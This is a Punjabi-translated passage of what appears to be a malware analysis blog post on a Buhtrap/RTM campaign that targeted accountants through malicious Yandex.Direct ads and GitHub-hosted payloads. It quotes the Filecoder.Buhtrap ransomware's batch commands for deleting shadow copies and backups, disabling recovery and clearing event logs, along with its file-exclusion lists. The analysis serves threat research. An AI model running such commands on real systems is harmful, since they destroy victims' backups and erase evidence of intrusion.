ਬੈਕਡੋਰ ਅਤੇ ਬੁਹਟਰੈਪ ਐਨਕ੍ਰਿਪਟਰ ਨੂੰ Yandex.Direct ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਵੰਡਿਆ ਗਿਆ ਸੀ

ਸਾਈਬਰ ਹਮਲੇ ਵਿੱਚ ਅਕਾਊਂਟੈਂਟਸ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾਉਣ ਲਈ, ਤੁਸੀਂ ਉਹਨਾਂ ਕੰਮ ਦੇ ਦਸਤਾਵੇਜ਼ਾਂ ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦੇ ਹੋ ਜਿਨ੍ਹਾਂ ਦੀ ਉਹ ਆਨਲਾਈਨ ਖੋਜ ਕਰਦੇ ਹਨ। ਇਹ ਲਗਭਗ ਉਹੀ ਹੈ ਜੋ ਪਿਛਲੇ ਕੁਝ ਮਹੀਨਿਆਂ ਤੋਂ ਇੱਕ ਸਾਈਬਰ ਸਮੂਹ ਕਰ ਰਿਹਾ ਹੈ, ਜਾਣੇ-ਪਛਾਣੇ ਬੈਕਡੋਰਸ ਨੂੰ ਵੰਡ ਰਿਹਾ ਹੈ। ਬੁਹਟਰੈਪ и ਆਰਟੀਐਮ, ਨਾਲ ਹੀ ਕ੍ਰਿਪਟੋਕਰੰਸੀ ਚੋਰੀ ਕਰਨ ਲਈ ਐਨਕ੍ਰਿਪਟਰਾਂ ਅਤੇ ਸੌਫਟਵੇਅਰ। ਜ਼ਿਆਦਾਤਰ ਨਿਸ਼ਾਨੇ ਰੂਸ ਵਿੱਚ ਸਥਿਤ ਹਨ. ਇਹ ਹਮਲਾ Yandex.Direct 'ਤੇ ਖਤਰਨਾਕ ਇਸ਼ਤਿਹਾਰ ਦੇ ਕੇ ਕੀਤਾ ਗਿਆ ਸੀ। ਸੰਭਾਵਿਤ ਪੀੜਤਾਂ ਨੂੰ ਇੱਕ ਵੈਬਸਾਈਟ 'ਤੇ ਨਿਰਦੇਸ਼ਿਤ ਕੀਤਾ ਗਿਆ ਸੀ ਜਿੱਥੇ ਉਹਨਾਂ ਨੂੰ ਇੱਕ ਦਸਤਾਵੇਜ਼ ਟੈਂਪਲੇਟ ਦੇ ਰੂਪ ਵਿੱਚ ਇੱਕ ਖਤਰਨਾਕ ਫਾਈਲ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਲਈ ਕਿਹਾ ਗਿਆ ਸੀ। ਯਾਂਡੇਕਸ ਨੇ ਸਾਡੀ ਚੇਤਾਵਨੀ ਤੋਂ ਬਾਅਦ ਖਤਰਨਾਕ ਵਿਗਿਆਪਨ ਨੂੰ ਹਟਾ ਦਿੱਤਾ।

ਬੁਹਟਰੈਪ ਦਾ ਸਰੋਤ ਕੋਡ ਪਿਛਲੇ ਸਮੇਂ ਵਿੱਚ ਔਨਲਾਈਨ ਲੀਕ ਕੀਤਾ ਗਿਆ ਸੀ ਤਾਂ ਜੋ ਕੋਈ ਵੀ ਇਸਨੂੰ ਵਰਤ ਸਕੇ। ਸਾਡੇ ਕੋਲ RTM ਕੋਡ ਦੀ ਉਪਲਬਧਤਾ ਬਾਰੇ ਕੋਈ ਜਾਣਕਾਰੀ ਨਹੀਂ ਹੈ।

ਇਸ ਪੋਸਟ ਵਿੱਚ ਅਸੀਂ ਤੁਹਾਨੂੰ ਦੱਸਾਂਗੇ ਕਿ ਕਿਵੇਂ ਹਮਲਾਵਰਾਂ ਨੇ Yandex.Direct ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਮਾਲਵੇਅਰ ਨੂੰ ਵੰਡਿਆ ਅਤੇ ਇਸਨੂੰ GitHub 'ਤੇ ਹੋਸਟ ਕੀਤਾ। ਪੋਸਟ ਮਾਲਵੇਅਰ ਦੇ ਤਕਨੀਕੀ ਵਿਸ਼ਲੇਸ਼ਣ ਦੇ ਨਾਲ ਸਮਾਪਤ ਹੋਵੇਗੀ।

ਬੁਹਟਰੈਪ ਅਤੇ ਆਰਟੀਐਮ ਕਾਰੋਬਾਰ ਵਿੱਚ ਵਾਪਸ ਆ ਗਏ ਹਨ

ਫੈਲਣ ਅਤੇ ਪੀੜਤਾਂ ਦੀ ਵਿਧੀ

ਪੀੜਤਾਂ ਨੂੰ ਦਿੱਤੇ ਗਏ ਵੱਖ-ਵੱਖ ਪੇਲੋਡ ਇੱਕ ਸਾਂਝੇ ਪ੍ਰਸਾਰ ਵਿਧੀ ਨੂੰ ਸਾਂਝਾ ਕਰਦੇ ਹਨ। ਹਮਲਾਵਰਾਂ ਦੁਆਰਾ ਬਣਾਈਆਂ ਗਈਆਂ ਸਾਰੀਆਂ ਖਤਰਨਾਕ ਫਾਈਲਾਂ ਨੂੰ ਦੋ ਵੱਖ-ਵੱਖ GitHub ਰਿਪੋਜ਼ਟਰੀਆਂ ਵਿੱਚ ਰੱਖਿਆ ਗਿਆ ਸੀ।

ਆਮ ਤੌਰ 'ਤੇ, ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ ਇੱਕ ਡਾਊਨਲੋਡ ਕਰਨ ਯੋਗ ਖਤਰਨਾਕ ਫਾਈਲ ਹੁੰਦੀ ਹੈ, ਜੋ ਅਕਸਰ ਬਦਲਦੀ ਰਹਿੰਦੀ ਹੈ। ਕਿਉਂਕਿ GitHub ਤੁਹਾਨੂੰ ਇੱਕ ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ ਤਬਦੀਲੀਆਂ ਦਾ ਇਤਿਹਾਸ ਦੇਖਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ, ਅਸੀਂ ਦੇਖ ਸਕਦੇ ਹਾਂ ਕਿ ਇੱਕ ਖਾਸ ਮਿਆਦ ਦੇ ਦੌਰਾਨ ਕੀ ਮਾਲਵੇਅਰ ਵੰਡਿਆ ਗਿਆ ਸੀ। ਪੀੜਤ ਨੂੰ ਖਤਰਨਾਕ ਫਾਈਲ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਲਈ ਮਨਾਉਣ ਲਈ, ਵੈੱਬਸਾਈਟ blanki-shabloni24[.]ru, ਉਪਰੋਕਤ ਚਿੱਤਰ ਵਿੱਚ ਦਿਖਾਈ ਗਈ, ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਗਈ ਸੀ।

ਸਾਈਟ ਦਾ ਡਿਜ਼ਾਈਨ ਅਤੇ ਖਤਰਨਾਕ ਫਾਈਲਾਂ ਦੇ ਸਾਰੇ ਨਾਮ ਇੱਕ ਸਿੰਗਲ ਸੰਕਲਪ ਦੀ ਪਾਲਣਾ ਕਰਦੇ ਹਨ - ਫਾਰਮ, ਟੈਂਪਲੇਟਸ, ਇਕਰਾਰਨਾਮੇ, ਨਮੂਨੇ, ਆਦਿ। ਇਸ ਗੱਲ ਨੂੰ ਧਿਆਨ ਵਿੱਚ ਰੱਖਦੇ ਹੋਏ ਕਿ ਬੁਹਟਰੈਪ ਅਤੇ ਆਰਟੀਐਮ ਸੌਫਟਵੇਅਰ ਪਹਿਲਾਂ ਹੀ ਅਕਾਊਂਟੈਂਟਸ 'ਤੇ ਹਮਲਿਆਂ ਵਿੱਚ ਵਰਤੇ ਜਾ ਚੁੱਕੇ ਹਨ, ਅਸੀਂ ਇਹ ਮੰਨ ਲਿਆ ਹੈ ਕਿ ਨਵੀਂ ਮੁਹਿੰਮ ਵਿਚ ਰਣਨੀਤੀ ਇਕੋ ਜਿਹੀ ਹੈ। ਸਿਰਫ ਸਵਾਲ ਇਹ ਹੈ ਕਿ ਪੀੜਤ ਹਮਲਾਵਰਾਂ ਦੇ ਸਥਾਨ 'ਤੇ ਕਿਵੇਂ ਪਹੁੰਚਿਆ।

ਲਾਗ

ਇਸ ਸਾਈਟ 'ਤੇ ਖਤਮ ਹੋਣ ਵਾਲੇ ਘੱਟੋ-ਘੱਟ ਕਈ ਸੰਭਾਵੀ ਪੀੜਤਾਂ ਨੂੰ ਖਤਰਨਾਕ ਇਸ਼ਤਿਹਾਰਬਾਜ਼ੀ ਦੁਆਰਾ ਆਕਰਸ਼ਿਤ ਕੀਤਾ ਗਿਆ ਸੀ। ਹੇਠਾਂ ਇੱਕ ਉਦਾਹਰਨ URL ਹੈ:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਲਿੰਕ ਤੋਂ ਦੇਖ ਸਕਦੇ ਹੋ, ਬੈਨਰ ਜਾਇਜ਼ ਅਕਾਊਂਟਿੰਗ ਫੋਰਮ bb.f2[.]kz 'ਤੇ ਪੋਸਟ ਕੀਤਾ ਗਿਆ ਸੀ। ਇਹ ਨੋਟ ਕਰਨਾ ਮਹੱਤਵਪੂਰਨ ਹੈ ਕਿ ਬੈਨਰ ਵੱਖ-ਵੱਖ ਸਾਈਟਾਂ 'ਤੇ ਦਿਖਾਈ ਦਿੱਤੇ, ਸਾਰਿਆਂ ਦੀ ਇੱਕੋ ਮੁਹਿੰਮ ਆਈਡੀ (blanki_rsya), ਅਤੇ ਜ਼ਿਆਦਾਤਰ ਲੇਖਾ ਜਾਂ ਕਾਨੂੰਨੀ ਸਹਾਇਤਾ ਸੇਵਾਵਾਂ ਨਾਲ ਸਬੰਧਤ ਸਨ। URL ਦਿਖਾਉਂਦਾ ਹੈ ਕਿ ਸੰਭਾਵੀ ਪੀੜਤ ਨੇ "ਇਨਵੌਇਸ ਫਾਰਮ ਡਾਊਨਲੋਡ ਕਰੋ" ਦੀ ਬੇਨਤੀ ਦੀ ਵਰਤੋਂ ਕੀਤੀ, ਜੋ ਨਿਸ਼ਾਨਾ ਹਮਲਿਆਂ ਦੀ ਸਾਡੀ ਕਲਪਨਾ ਦਾ ਸਮਰਥਨ ਕਰਦਾ ਹੈ। ਹੇਠਾਂ ਉਹ ਸਾਈਟਾਂ ਹਨ ਜਿੱਥੇ ਬੈਨਰ ਦਿਖਾਈ ਦਿੱਤੇ ਅਤੇ ਸੰਬੰਧਿਤ ਖੋਜ ਸਵਾਲ ਹਨ।

• ਇਨਵੌਇਸ ਫਾਰਮ ਡਾਊਨਲੋਡ ਕਰੋ - bb.f2[.]kz
• ਨਮੂਨਾ ਇਕਰਾਰਨਾਮਾ - Ipopen[.]ru
• ਐਪਲੀਕੇਸ਼ਨ ਸ਼ਿਕਾਇਤ ਨਮੂਨਾ - 77metrov[.]ru
• ਸਮਝੌਤਾ ਫਾਰਮ - ਖਾਲੀ-ਡੋਗੋਵਰ-ਕੁਪਲੀ-ਪ੍ਰੋਡਾਜ਼ੀ[.]ru
• ਨਮੂਨਾ ਅਦਾਲਤੀ ਪਟੀਸ਼ਨ - zen.yandex[.]ru
• ਨਮੂਨਾ ਸ਼ਿਕਾਇਤ - yurday[.]ru
• ਨਮੂਨਾ ਇਕਰਾਰਨਾਮੇ ਦੇ ਫਾਰਮ - ਰੈਗਫੋਰਮ[.]ru
• ਇਕਰਾਰਨਾਮਾ ਫਾਰਮ - ਸਹਾਇਕ [.]ru
• ਨਮੂਨਾ ਅਪਾਰਟਮੈਂਟ ਇਕਰਾਰਨਾਮਾ - napravah[.]com
• ਕਾਨੂੰਨੀ ਇਕਰਾਰਨਾਮਿਆਂ ਦੇ ਨਮੂਨੇ - avito[.]ru

blanki-shabloni24[.]ru ਸਾਈਟ ਨੂੰ ਸਧਾਰਨ ਵਿਜ਼ੂਅਲ ਅਸੈਸਮੈਂਟ ਪਾਸ ਕਰਨ ਲਈ ਕੌਂਫਿਗਰ ਕੀਤਾ ਗਿਆ ਹੋ ਸਕਦਾ ਹੈ। ਆਮ ਤੌਰ 'ਤੇ, ਇੱਕ ਵਿਗਿਆਪਨ ਜੋ GitHub ਦੇ ਲਿੰਕ ਦੇ ਨਾਲ ਇੱਕ ਪੇਸ਼ੇਵਰ ਦਿੱਖ ਵਾਲੀ ਸਾਈਟ ਵੱਲ ਇਸ਼ਾਰਾ ਕਰਦਾ ਹੈ, ਸਪੱਸ਼ਟ ਤੌਰ 'ਤੇ ਕੁਝ ਬੁਰਾ ਨਹੀਂ ਲੱਗਦਾ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਹਮਲਾਵਰਾਂ ਨੇ ਮੁਹਿੰਮ ਦੌਰਾਨ ਸੰਭਾਵਤ ਤੌਰ 'ਤੇ ਸੀਮਤ ਮਿਆਦ ਲਈ ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ ਖਤਰਨਾਕ ਫਾਈਲਾਂ ਨੂੰ ਅਪਲੋਡ ਕੀਤਾ। ਜ਼ਿਆਦਾਤਰ ਸਮਾਂ, GitHub ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ ਇੱਕ ਖਾਲੀ ਜ਼ਿਪ ਆਰਕਾਈਵ ਜਾਂ ਇੱਕ ਖਾਲੀ EXE ਫਾਈਲ ਹੁੰਦੀ ਹੈ। ਇਸ ਤਰ੍ਹਾਂ, ਹਮਲਾਵਰ ਉਹਨਾਂ ਸਾਈਟਾਂ 'ਤੇ Yandex.Direct ਦੁਆਰਾ ਇਸ਼ਤਿਹਾਰ ਵੰਡ ਸਕਦੇ ਹਨ ਜੋ ਖਾਸ ਖੋਜ ਸਵਾਲਾਂ ਦੇ ਜਵਾਬ ਵਿੱਚ ਆਏ ਲੇਖਾਕਾਰਾਂ ਦੁਆਰਾ ਸੰਭਾਵਤ ਤੌਰ 'ਤੇ ਵਿਜ਼ਿਟ ਕੀਤੇ ਗਏ ਸਨ।

ਅੱਗੇ, ਆਓ ਇਸ ਤਰੀਕੇ ਨਾਲ ਵੰਡੇ ਗਏ ਵੱਖ-ਵੱਖ ਪੇਲੋਡਾਂ ਨੂੰ ਵੇਖੀਏ।

ਪੇਲੋਡ ਵਿਸ਼ਲੇਸ਼ਣ

ਵੰਡ ਦੀ ਕਾਲਕ੍ਰਮ

ਖਤਰਨਾਕ ਮੁਹਿੰਮ ਅਕਤੂਬਰ 2018 ਦੇ ਅੰਤ ਵਿੱਚ ਸ਼ੁਰੂ ਹੋਈ ਸੀ ਅਤੇ ਲਿਖਣ ਦੇ ਸਮੇਂ ਸਰਗਰਮ ਹੈ। ਕਿਉਂਕਿ ਪੂਰੀ ਰਿਪੋਜ਼ਟਰੀ GitHub 'ਤੇ ਜਨਤਕ ਤੌਰ 'ਤੇ ਉਪਲਬਧ ਸੀ, ਅਸੀਂ ਛੇ ਵੱਖ-ਵੱਖ ਮਾਲਵੇਅਰ ਪਰਿਵਾਰਾਂ ਦੀ ਵੰਡ ਦੀ ਇੱਕ ਸਹੀ ਸਮਾਂ-ਰੇਖਾ ਤਿਆਰ ਕੀਤੀ ਹੈ (ਹੇਠਾਂ ਚਿੱਤਰ ਦੇਖੋ)। ਅਸੀਂ ਇੱਕ ਲਾਈਨ ਜੋੜੀ ਹੈ ਜੋ ਦਿਖਾਉਂਦੀ ਹੈ ਕਿ ਜਦੋਂ ਬੈਨਰ ਲਿੰਕ ਖੋਜਿਆ ਗਿਆ ਸੀ, ਜਿਵੇਂ ਕਿ ESET ਟੈਲੀਮੈਟਰੀ ਦੁਆਰਾ ਮਾਪਿਆ ਗਿਆ ਸੀ, ਗਿੱਟ ਇਤਿਹਾਸ ਨਾਲ ਤੁਲਨਾ ਕਰਨ ਲਈ। ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਦੇਖ ਸਕਦੇ ਹੋ, ਇਹ GitHub 'ਤੇ ਪੇਲੋਡ ਦੀ ਉਪਲਬਧਤਾ ਨਾਲ ਚੰਗੀ ਤਰ੍ਹਾਂ ਸੰਬੰਧਿਤ ਹੈ. ਫਰਵਰੀ ਦੇ ਅੰਤ ਵਿੱਚ ਅੰਤਰ ਨੂੰ ਇਸ ਤੱਥ ਦੁਆਰਾ ਸਮਝਾਇਆ ਜਾ ਸਕਦਾ ਹੈ ਕਿ ਸਾਡੇ ਕੋਲ ਪਰਿਵਰਤਨ ਇਤਿਹਾਸ ਦਾ ਹਿੱਸਾ ਨਹੀਂ ਸੀ ਕਿਉਂਕਿ ਰਿਪੋਜ਼ਟਰੀ ਨੂੰ GitHub ਤੋਂ ਹਟਾ ਦਿੱਤਾ ਗਿਆ ਸੀ ਇਸ ਤੋਂ ਪਹਿਲਾਂ ਕਿ ਅਸੀਂ ਇਸਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਪ੍ਰਾਪਤ ਕਰ ਸਕੀਏ.

ਚਿੱਤਰ 1. ਮਾਲਵੇਅਰ ਵੰਡ ਦਾ ਕਾਲਕ੍ਰਮ।

ਕੋਡ ਸਾਈਨਿੰਗ ਸਰਟੀਫਿਕੇਟ

ਮੁਹਿੰਮ ਨੇ ਕਈ ਸਰਟੀਫਿਕੇਟਾਂ ਦੀ ਵਰਤੋਂ ਕੀਤੀ। ਕੁਝ ਇੱਕ ਤੋਂ ਵੱਧ ਮਾਲਵੇਅਰ ਪਰਿਵਾਰ ਦੁਆਰਾ ਹਸਤਾਖਰ ਕੀਤੇ ਗਏ ਸਨ, ਜੋ ਅੱਗੇ ਇਹ ਦਰਸਾਉਂਦਾ ਹੈ ਕਿ ਵੱਖ-ਵੱਖ ਨਮੂਨੇ ਇੱਕੋ ਮੁਹਿੰਮ ਨਾਲ ਸਬੰਧਤ ਸਨ। ਪ੍ਰਾਈਵੇਟ ਕੁੰਜੀ ਦੀ ਉਪਲਬਧਤਾ ਦੇ ਬਾਵਜੂਦ, ਆਪਰੇਟਰਾਂ ਨੇ ਬਾਈਨਰੀਆਂ 'ਤੇ ਯੋਜਨਾਬੱਧ ਤੌਰ 'ਤੇ ਦਸਤਖਤ ਨਹੀਂ ਕੀਤੇ ਅਤੇ ਸਾਰੇ ਨਮੂਨਿਆਂ ਲਈ ਕੁੰਜੀ ਦੀ ਵਰਤੋਂ ਨਹੀਂ ਕੀਤੀ। ਫਰਵਰੀ 2019 ਦੇ ਅਖੀਰ ਵਿੱਚ, ਹਮਲਾਵਰਾਂ ਨੇ Google ਦੀ ਮਲਕੀਅਤ ਵਾਲੇ ਸਰਟੀਫਿਕੇਟ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਅਵੈਧ ਦਸਤਖਤ ਬਣਾਉਣੇ ਸ਼ੁਰੂ ਕਰ ਦਿੱਤੇ ਜਿਸ ਲਈ ਉਹਨਾਂ ਕੋਲ ਨਿੱਜੀ ਕੁੰਜੀ ਨਹੀਂ ਸੀ।

ਮੁਹਿੰਮ ਵਿੱਚ ਸ਼ਾਮਲ ਸਾਰੇ ਸਰਟੀਫਿਕੇਟ ਅਤੇ ਉਹਨਾਂ ਦੁਆਰਾ ਹਸਤਾਖਰ ਕੀਤੇ ਮਾਲਵੇਅਰ ਪਰਿਵਾਰਾਂ ਨੂੰ ਹੇਠਾਂ ਦਿੱਤੀ ਸਾਰਣੀ ਵਿੱਚ ਸੂਚੀਬੱਧ ਕੀਤਾ ਗਿਆ ਹੈ।

ਅਸੀਂ ਹੋਰ ਮਾਲਵੇਅਰ ਪਰਿਵਾਰਾਂ ਨਾਲ ਲਿੰਕ ਸਥਾਪਤ ਕਰਨ ਲਈ ਇਹਨਾਂ ਕੋਡ ਸਾਈਨਿੰਗ ਸਰਟੀਫਿਕੇਟਾਂ ਦੀ ਵਰਤੋਂ ਵੀ ਕੀਤੀ ਹੈ। ਜ਼ਿਆਦਾਤਰ ਸਰਟੀਫਿਕੇਟਾਂ ਲਈ, ਸਾਨੂੰ ਉਹ ਨਮੂਨੇ ਨਹੀਂ ਮਿਲੇ ਜੋ ਇੱਕ GitHub ਰਿਪੋਜ਼ਟਰੀ ਦੁਆਰਾ ਨਹੀਂ ਵੰਡੇ ਗਏ ਸਨ। ਹਾਲਾਂਕਿ, TOV "MARIA" ਸਰਟੀਫਿਕੇਟ ਦੀ ਵਰਤੋਂ ਬੋਟਨੈੱਟ ਨਾਲ ਸਬੰਧਤ ਮਾਲਵੇਅਰ 'ਤੇ ਦਸਤਖਤ ਕਰਨ ਲਈ ਕੀਤੀ ਗਈ ਸੀ ਵੌਚੋਸ, ਐਡਵੇਅਰ ਅਤੇ ਮਾਈਨਰ। ਇਹ ਸੰਭਾਵਨਾ ਨਹੀਂ ਹੈ ਕਿ ਇਹ ਮਾਲਵੇਅਰ ਇਸ ਮੁਹਿੰਮ ਨਾਲ ਸਬੰਧਤ ਹੈ. ਜ਼ਿਆਦਾਤਰ ਸੰਭਾਵਨਾ ਹੈ, ਸਰਟੀਫਿਕੇਟ ਡਾਰਕਨੈੱਟ 'ਤੇ ਖਰੀਦਿਆ ਗਿਆ ਸੀ।

Win32/Filecoder.Buhtrap

ਪਹਿਲਾ ਹਿੱਸਾ ਜਿਸਨੇ ਸਾਡਾ ਧਿਆਨ ਖਿੱਚਿਆ ਉਹ ਸੀ ਨਵਾਂ ਖੋਜਿਆ ਗਿਆ Win32/Filecoder.Buhtrap। ਇਹ ਇੱਕ ਡੇਲਫੀ ਬਾਈਨਰੀ ਫਾਈਲ ਹੈ ਜੋ ਕਈ ਵਾਰ ਪੈਕ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਇਹ ਮੁੱਖ ਤੌਰ 'ਤੇ ਫਰਵਰੀ-ਮਾਰਚ 2019 ਵਿੱਚ ਵੰਡਿਆ ਗਿਆ ਸੀ। ਇਹ ਇੱਕ ਰੈਨਸਮਵੇਅਰ ਪ੍ਰੋਗਰਾਮ ਦੇ ਅਨੁਕੂਲ ਵਿਵਹਾਰ ਕਰਦਾ ਹੈ - ਇਹ ਸਥਾਨਕ ਡਰਾਈਵਾਂ ਅਤੇ ਨੈਟਵਰਕ ਫੋਲਡਰਾਂ ਦੀ ਖੋਜ ਕਰਦਾ ਹੈ ਅਤੇ ਖੋਜੀਆਂ ਗਈਆਂ ਫਾਈਲਾਂ ਨੂੰ ਐਨਕ੍ਰਿਪਟ ਕਰਦਾ ਹੈ। ਇਸ ਨੂੰ ਸਮਝੌਤਾ ਕਰਨ ਲਈ ਇੱਕ ਇੰਟਰਨੈਟ ਕਨੈਕਸ਼ਨ ਦੀ ਲੋੜ ਨਹੀਂ ਹੈ ਕਿਉਂਕਿ ਇਹ ਐਨਕ੍ਰਿਪਸ਼ਨ ਕੁੰਜੀਆਂ ਭੇਜਣ ਲਈ ਸਰਵਰ ਨਾਲ ਸੰਪਰਕ ਨਹੀਂ ਕਰਦਾ ਹੈ। ਇਸ ਦੀ ਬਜਾਏ, ਇਹ ਰਿਹਾਈ ਦੇ ਸੁਨੇਹੇ ਦੇ ਅੰਤ ਵਿੱਚ ਇੱਕ "ਟੋਕਨ" ਜੋੜਦਾ ਹੈ, ਅਤੇ ਆਪਰੇਟਰਾਂ ਨਾਲ ਸੰਪਰਕ ਕਰਨ ਲਈ ਈਮੇਲ ਜਾਂ ਬਿੱਟਮੈਸੇਜ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦਾ ਸੁਝਾਅ ਦਿੰਦਾ ਹੈ।

ਸੰਭਵ ਤੌਰ 'ਤੇ ਵੱਧ ਤੋਂ ਵੱਧ ਸੰਵੇਦਨਸ਼ੀਲ ਸਰੋਤਾਂ ਨੂੰ ਐਨਕ੍ਰਿਪਟ ਕਰਨ ਲਈ, Filecoder.Buhtrap ਮੁੱਖ ਸੌਫਟਵੇਅਰ ਨੂੰ ਬੰਦ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਇੱਕ ਥ੍ਰੈਡ ਚਲਾਉਂਦਾ ਹੈ ਜਿਸ ਵਿੱਚ ਓਪਨ ਫਾਈਲ ਹੈਂਡਲਰ ਹੋ ਸਕਦੇ ਹਨ ਜਿਸ ਵਿੱਚ ਕੀਮਤੀ ਜਾਣਕਾਰੀ ਹੁੰਦੀ ਹੈ ਜੋ ਐਨਕ੍ਰਿਪਸ਼ਨ ਵਿੱਚ ਦਖਲ ਦੇ ਸਕਦੀ ਹੈ। ਟੀਚਾ ਪ੍ਰਕਿਰਿਆਵਾਂ ਮੁੱਖ ਤੌਰ 'ਤੇ ਡਾਟਾਬੇਸ ਪ੍ਰਬੰਧਨ ਪ੍ਰਣਾਲੀਆਂ (DBMS) ਹਨ। ਇਸ ਤੋਂ ਇਲਾਵਾ, Filecoder.Buhtrap ਡਾਟਾ ਰਿਕਵਰੀ ਨੂੰ ਮੁਸ਼ਕਲ ਬਣਾਉਣ ਲਈ ਲੌਗ ਫਾਈਲਾਂ ਅਤੇ ਬੈਕਅੱਪਾਂ ਨੂੰ ਮਿਟਾ ਦਿੰਦਾ ਹੈ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਹੇਠਾਂ ਦਿੱਤੀ ਬੈਚ ਸਕ੍ਰਿਪਟ ਚਲਾਓ।

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap ਵੈੱਬਸਾਈਟ ਵਿਜ਼ਿਟਰਾਂ ਬਾਰੇ ਜਾਣਕਾਰੀ ਇਕੱਠੀ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤੀ ਗਈ ਇੱਕ ਜਾਇਜ਼ ਔਨਲਾਈਨ IP ਲੌਗਰ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਕਰਦੀ ਹੈ। ਇਸਦਾ ਉਦੇਸ਼ ਰੈਨਸਮਵੇਅਰ ਦੇ ਪੀੜਤਾਂ ਨੂੰ ਟਰੈਕ ਕਰਨਾ ਹੈ, ਜੋ ਕਿ ਕਮਾਂਡ ਲਾਈਨ ਦੀ ਜ਼ਿੰਮੇਵਾਰੀ ਹੈ:

mshta.exe "javascript:document.write('');"

ਏਨਕ੍ਰਿਪਸ਼ਨ ਲਈ ਫਾਈਲਾਂ ਚੁਣੀਆਂ ਜਾਂਦੀਆਂ ਹਨ ਜੇਕਰ ਉਹ ਤਿੰਨ ਬੇਦਖਲੀ ਸੂਚੀਆਂ ਨਾਲ ਮੇਲ ਨਹੀਂ ਖਾਂਦੀਆਂ ਹਨ। ਸਭ ਤੋਂ ਪਹਿਲਾਂ, ਹੇਠਾਂ ਦਿੱਤੀਆਂ ਐਕਸਟੈਂਸ਼ਨਾਂ ਵਾਲੀਆਂ ਫਾਈਲਾਂ ਐਨਕ੍ਰਿਪਟਡ ਨਹੀਂ ਹਨ: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys ਅਤੇ .ਬੱਲਾ. ਦੂਜਾ, ਸਾਰੀਆਂ ਫਾਈਲਾਂ ਜਿਨ੍ਹਾਂ ਲਈ ਪੂਰੇ ਮਾਰਗ ਵਿੱਚ ਹੇਠਾਂ ਦਿੱਤੀ ਸੂਚੀ ਵਿੱਚੋਂ ਡਾਇਰੈਕਟਰੀ ਸਤਰ ਸ਼ਾਮਲ ਹਨ, ਨੂੰ ਬਾਹਰ ਰੱਖਿਆ ਗਿਆ ਹੈ।

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

ਤੀਸਰਾ, ਕੁਝ ਫਾਈਲ ਨਾਮਾਂ ਨੂੰ ਵੀ ਏਨਕ੍ਰਿਪਸ਼ਨ ਤੋਂ ਬਾਹਰ ਰੱਖਿਆ ਗਿਆ ਹੈ, ਉਹਨਾਂ ਵਿੱਚੋਂ ਰਿਹਾਈ ਦੇ ਸੰਦੇਸ਼ ਦਾ ਫਾਈਲ ਨਾਮ। ਸੂਚੀ ਹੇਠਾਂ ਪੇਸ਼ ਕੀਤੀ ਗਈ ਹੈ। ਸਪੱਸ਼ਟ ਤੌਰ 'ਤੇ, ਇਹ ਸਾਰੇ ਅਪਵਾਦਾਂ ਦਾ ਉਦੇਸ਼ ਮਸ਼ੀਨ ਨੂੰ ਚੱਲਦਾ ਰੱਖਣਾ ਹੈ, ਪਰ ਘੱਟੋ ਘੱਟ ਸੜਕੀ ਯੋਗਤਾ ਦੇ ਨਾਲ।

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

ਫਾਈਲ ਇਨਕ੍ਰਿਪਸ਼ਨ ਸਕੀਮ

